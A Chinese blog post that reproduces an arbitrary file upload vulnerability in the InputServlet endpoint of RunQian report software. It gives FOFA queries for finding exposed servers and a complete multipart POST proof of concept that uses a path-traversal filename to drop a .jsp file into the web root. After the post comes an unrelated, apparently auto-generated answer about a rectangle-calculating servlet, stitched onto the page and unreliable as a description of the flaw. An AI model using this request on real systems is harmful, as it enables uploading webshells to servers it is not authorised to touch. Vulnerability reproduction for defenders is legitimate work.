润乾报表前台InputServlet接口任意文件上传漏洞复现 [附POC]

润乾报表前台InputServlet接口任意文件上传漏洞复现 [附POC]

0x01 前言

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

0x02 漏洞描述

润乾报表是一个纯JAVA的企业级报表工具,支持对J2EE系统的嵌入式部署,无缝集成。服务器端支持各种常见的操作系统,支持各种常见的关系数据库和各类J2 EE的应用服务器,客户端采用标准纯html方式展现,支持ie和netscape, 润乾报表是领先的企业级报表分析软件。其润乾报表前台InputServlet接口存在任意文件上传漏洞。

0x03 影响版本

润乾报表

0x04 漏洞环境

FOFA语法: body=“润乾报表” || body=“/raqsoft”
在这里插入图片描述

0x05 漏洞复现

1.访问漏洞环境

在这里插入图片描述

2.构造POC

POC (POST)

POST /InputServlet?action=12 HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: multipart/form-data; boundary=00content0boundary00
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 241
Connection: close

--00content0boundary00
Content-Disposition: form-data; name="upsize"

1024
--00content0boundary00
Content-Disposition: form-data; name="file"; filename="/\..\\..\\..\123.jsp"
Content-Type: image/jpeg

123321
--00content0boundary00--

3.复现

在这里插入图片描述访问文件上传地址:/123.jsp
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
好的,以下是具体的代码实现: 1. 创建一个名为 Rectangle 的 JavaBean 类,用于计算矩形的周长和面积。 ```java public class Rectangle { private double length; private double width; public Rectangle() {} public Rectangle(double length, double width) { this.length = length; this.width = width; } public double getLength() { return length; } public void setLength(double length) { this.length = length; } public double getWidth() { return width; } public void setWidth(double width) { this.width = width; } public double getArea() { return length * width; } public double getPerimeter() { return 2 * (length + width); } } ``` 2. 创建一个名为 InputServletServlet 类,用于接收用户输入的矩形长和宽,并将其传递给 Rectangle 类进行计算。 ```java import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class InputServlet extends HttpServlet { private static final long serialVersionUID = 1L; public InputServlet() { super(); } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { double length = Double.parseDouble(request.getParameter("length")); double width = Double.parseDouble(request.getParameter("width")); Rectangle rect = new Rectangle(length, width); request.setAttribute("rect", rect); request.getRequestDispatcher("/output.jsp").forward(request, response); } } ``` 3. 创建一个名为 output.jsp 的 JSP 页面,用于显示计算出的矩形周长和面积。 ```jsp <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>矩形周长和面积</title> </head> <body> <h1>矩形周长和面积</h1> <hr> <p>长:${rect.length}</p> <p>宽:${rect.width}</p> <p>面积:${rect.area}</p> <p>周长:${rect.perimeter}</p> </body> </html> ``` 4. 在 web.xml 文中配置 InputServlet 类的映射。 ```xml <web-app> <servlet> <servlet-name>InputServlet</servlet-name> <servlet-class>InputServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>InputServlet</servlet-name> <url-pattern>/input</url-pattern> </servlet-mapping> </web-app> ``` 这样,当用户在输入页面上输入矩形的长和宽并提交后,就会显示出矩形的周长和面积。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gaynell

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值